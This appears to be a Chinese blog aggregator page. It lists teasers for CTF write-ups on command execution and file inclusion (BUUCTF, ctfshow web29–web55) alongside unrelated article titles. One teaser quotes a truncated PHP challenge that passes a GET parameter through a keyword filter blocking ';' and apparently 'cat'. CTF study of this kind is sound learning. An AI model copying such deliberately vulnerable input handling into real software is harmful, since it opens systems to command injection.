- BUUCTF 命令执行/文件包含类型部分wp
BUU差不多前两页题目中的该类型题,可能会有疏漏 [网鼎杯 2020 朱雀组]Nmap 考察nmap的利用 选项 解释 -oN 标准保存 -oX XML保存 -oG Grep保存 -oA 保存到所有格 ...
- web入门 命令执行 web29-web41
文章目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 参考文章:命令执行绕过小技巧.命令 ...
- web入门 命令执行 web42-web52
文章目录 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 从42题之后,就跟前面的类型不一样了,之前是eval( c ...
- web入门 命令执行 web53-web55
文章目录 web53 web54 web55 web53 <?phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|ca ...
最新文章
- 两下或多下回车造成数据库多次提交事物的解决方法
- python中利用lxml模块解析xml文件报错XMLSyntaxError: Opening and ending tag mismatch
- 【NOI2015】软件包管理器
- 在.net2.0中实现Action和Func方法
- UEditor 百度富文本编辑器 .Net实例
- GBK、GB2312、GB18030
- java 怎么控制暂停5秒钟_java – libGDX暂停运行几秒钟
- 设计模式学习---(2)工厂模式
- Spring Boot(3)---Spring Boot入门:系统要求
- 如何搭建积分商城软件活动功能
- idea设置控制台字体大小
- windows电脑桌面旋转快捷键
- Go官方依赖包管理工具dep的安装及使用
- n一加关闭小部件_小部件
- 重庆云阳2021云中高考成绩查询,重庆云阳中学2021年招生简章
- 文本标注工具BRAT的安装与配置
- mybatis.org/dtd/mybatis-generator-config_1_0.dtd标红
- 使用Teleport Ultra批量克隆网站,使用Easy CHM合并生成chm文件
- 看图学习VMWare以及常见问题答疑(转)
- ts报错:Object is possibly ‘undefined‘.Vetur(2532)
热门文章
- 宏病毒组(五)|病毒基因组系统发育树
- linux提取基因名称和序列,一种批量提取基因组基因信息并翻译比对分析序列的方法与流程...
- 投票小程序制作开发有哪些步骤?投票小程序开发有哪些功能?
- ~杂记(3):los_dispatch.s和startup.s的作用分析
- gpib-usb-hs linux,美国NI GPIB-USB-HS+连接线GPIB转USB接口控制器高速传输
- 网络安全学习笔记(2)
- 零基础能不能学习web前端开发?【爱创课堂专业前端培训】
- css源码笔记(四)【爱创课堂专业前端培训】
- vue+springboot通过post请求实现文件下载
- 田野调查手记·浮山摩崖石刻(九)
- ctfshow web入门 命令执行 web29~web77 web118~web124